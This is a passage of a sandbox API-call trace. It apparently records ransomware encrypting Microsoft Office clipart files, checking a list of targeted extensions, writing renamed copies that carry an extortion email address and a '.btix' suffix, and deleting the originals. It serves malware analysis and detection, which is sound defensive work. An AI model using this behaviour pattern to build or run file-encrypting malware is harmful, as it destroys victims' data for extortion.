returned 4 [0066.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.162] lstrlenW (lpString=".xls") returned 4 [0066.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.162] lstrlenW (lpString=".xlsx") returned 5 [0066.162] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0066.162] lstrlenW (lpString=".ppt") returned 4 [0066.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0066.162] lstrlenW (lpString=".zip") returned 4 [0066.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.162] lstrlenW (lpString=".rar") returned 4 [0066.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.162] lstrlenW (lpString=".bz2") returned 4 [0066.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.162] lstrlenW (lpString=".7z") returned 3 [0066.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0066.162] lstrlenW (lpString=".dbf") returned 4 [0066.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0066.162] lstrlenW (lpString=".1cd") returned 4 [0066.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0066.162] lstrlenW (lpString=".jpg") returned 4 [0066.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.163] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.163] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0066.163] GetLastError () returned 0x0 [0066.163] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1496, lpOverlapped=0x0) returned 1 [0066.858] WriteFile (in: hFile=0x358, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0067.449] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.449] WriteFile (in: hFile=0x358, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe6, lpOverlapped=0x0) returned 1 [0067.449] SetEndOfFile (hFile=0x358) returned 1 [0068.537] CloseHandle (hObject=0x358) returned 1 [0068.730] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.730] SetEndOfFile (hFile=0x318) returned 1 [0068.731] CloseHandle (hObject=0x318) returned 1 [0068.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0068.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0068.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0068.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0068.732] lstrlenW (lpString=".doc") returned 4 [0068.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.732] lstrlenW (lpString=".docx") returned 5 [0068.732] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0068.732] lstrlenW (lpString=".pdf") returned 4 [0068.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.732] lstrlenW (lpString=".xls") returned 4 [0068.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.732] lstrlenW (lpString=".xlsx") returned 5 [0068.732] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0068.732] lstrlenW (lpString=".ppt") returned 4 [0068.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0068.732] lstrlenW (lpString=".zip") returned 4 [0068.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.732] lstrlenW (lpString=".rar") returned 4 [0068.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.732] lstrlenW (lpString=".bz2") returned 4 [0068.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.732] lstrlenW (lpString=".7z") returned 3 [0068.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0068.732] lstrlenW (lpString=".dbf") returned 4 [0068.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0068.732] lstrlenW (lpString=".1cd") returned 4 [0068.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0068.732] lstrlenW (lpString=".jpg") returned 4 [0068.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.733] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.733] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0068.734] GetLastError () returned 0x0 [0068.734] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xa82, lpOverlapped=0x0) returned 1 [0068.927] WriteFile (in: hFile=0x358, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xa90, lpOverlapped=0x0) returned 1 [0068.928] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.928] WriteFile (in: hFile=0x358, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.928] SetEndOfFile (hFile=0x358) returned 1 [0068.928] CloseHandle (hObject=0x358) returned 1 [0068.928] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.928] SetEndOfFile (hFile=0x318) returned 1 [0068.929] CloseHandle (hObject=0x318) returned 1 [0068.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0068.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0068.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.930] lstrlenW (lpString=".doc") returned 4 [0068.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.930] lstrlenW (lpString=".docx") returned 5 [0068.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.930] lstrlenW (lpString=".pdf") returned 4 [0068.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.930] lstrlenW (lpString=".xls") returned 4 [0068.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.930] lstrlenW (lpString=".xlsx") returned 5 [0068.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.930] lstrlenW (lpString=".ppt") returned 4 [0068.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.930] lstrlenW (lpString=".zip") returned 4 [0068.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.930] lstrlenW (lpString=".rar") returned 4 [0068.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.930] lstrlenW (lpString=".bz2") returned 4 [0068.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.930] lstrlenW (lpString=".7z") returned 3 [0068.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.930] lstrlenW (lpString=".dbf") returned 4 [0068.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.930] lstrlenW (lpString=".1cd") returned 4 [0068.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.931] lstrlenW (lpString=".jpg") returned 4 [0068.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.931] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.931] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0068.931] GetLastError () returned 0x0 [0068.931] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xa7f0, lpOverlapped=0x0) returned 1 [0069.139] WriteFile (in: hFile=0x358, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xa800, lpOverlapped=0x0) returned 1 [0069.141] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.141] WriteFile (in: hFile=0x358, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0069.141] SetEndOfFile (hFile=0x358) returned 1 [0069.141] CloseHandle (hObject=0x358) returned 1 [0069.141] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.141] SetEndOfFile (hFile=0x318) returned 1 [0069.142] CloseHandle (hObject=0x318) returned 1 [0069.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0069.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0069.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0069.143] lstrlenW (lpString=".doc") returned 4 [0069.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.143] lstrlenW (lpString=".docx") returned 5 [0069.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.143] lstrlenW (lpString=".pdf") returned 4 [0069.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.143] lstrlenW (lpString=".xls") returned 4 [0069.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.143] lstrlenW (lpString=".xlsx") returned 5 [0069.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.143] lstrlenW (lpString=".ppt") returned 4 [0069.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0069.143] lstrlenW (lpString=".zip") returned 4 [0069.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.143] lstrlenW (lpString=".rar") returned 4 [0069.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.143] lstrlenW (lpString=".bz2") returned 4 [0069.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.143] lstrlenW (lpString=".7z") returned 3 [0069.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0069.143] lstrlenW (lpString=".dbf") returned 4 [0069.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0069.143] lstrlenW (lpString=".1cd") returned 4 [0069.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0069.143] lstrlenW (lpString=".jpg") returned 4 [0069.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.728] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.728] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0069.728] GetLastError () returned 0x0 [0069.728] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x2c8, lpOverlapped=0x0) returned 1 [0069.729] WriteFile (in: hFile=0x32c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0069.730] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.730] WriteFile (in: hFile=0x32c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0069.730] SetEndOfFile (hFile=0x32c) returned 1 [0069.730] CloseHandle (hObject=0x32c) returned 1 [0069.730] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.730] SetEndOfFile (hFile=0x358) returned 1 [0069.731] CloseHandle (hObject=0x358) returned 1 [0069.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0069.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0069.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0069.731] lstrlenW (lpString=".doc") returned 4 [0069.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.731] lstrlenW (lpString=".docx") returned 5 [0069.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.732] lstrlenW (lpString=".pdf") returned 4 [0069.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.734] lstrlenW (lpString=".xls") returned 4 [0069.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.734] lstrlenW (lpString=".xlsx") returned 5 [0069.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.734] lstrlenW (lpString=".ppt") returned 4 [0069.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0069.734] lstrlenW (lpString=".zip") returned 4 [0069.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.734] lstrlenW (lpString=".rar") returned 4 [0069.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.734] lstrlenW (lpString=".bz2") returned 4 [0069.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.734] lstrlenW (lpString=".7z") returned 3 [0069.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0069.734] lstrlenW (lpString=".dbf") returned 4 [0069.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0069.734] lstrlenW (lpString=".1cd") returned 4 [0069.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0069.734] lstrlenW (lpString=".jpg") returned 4 [0069.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.735] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.735] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0069.735] GetLastError () returned 0x0 [0069.735] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x5130, lpOverlapped=0x0) returned 1 [0069.877] WriteFile (in: hFile=0x32c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x5140, lpOverlapped=0x0) returned 1 [0069.878] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.878] WriteFile (in: hFile=0x32c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0069.878] SetEndOfFile (hFile=0x32c) returned 1 [0069.878] CloseHandle (hObject=0x32c) returned 1 [0069.879] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.879] SetEndOfFile (hFile=0x358) returned 1 [0069.879] CloseHandle (hObject=0x358) returned 1 [0069.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0069.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0069.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0069.880] lstrlenW (lpString=".doc") returned 4 [0069.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.880] lstrlenW (lpString=".docx") returned 5 [0069.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.880] lstrlenW (lpString=".pdf") returned 4 [0069.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.880] lstrlenW (lpString=".xls") returned 4 [0069.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.880] lstrlenW (lpString=".xlsx") returned 5 [0069.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.880] lstrlenW (lpString=".ppt") returned 4 [0069.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0069.880] lstrlenW (lpString=".zip") returned 4 [0069.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.880] lstrlenW (lpString=".rar") returned 4 [0069.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.880] lstrlenW (lpString=".bz2") returned 4 [0069.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.880] lstrlenW (lpString=".7z") returned 3 [0069.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0069.881] lstrlenW (lpString=".dbf") returned 4 [0069.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0069.881] lstrlenW (lpString=".1cd") returned 4 [0069.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0069.881] lstrlenW (lpString=".jpg") returned 4 [0069.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.881] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.881] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 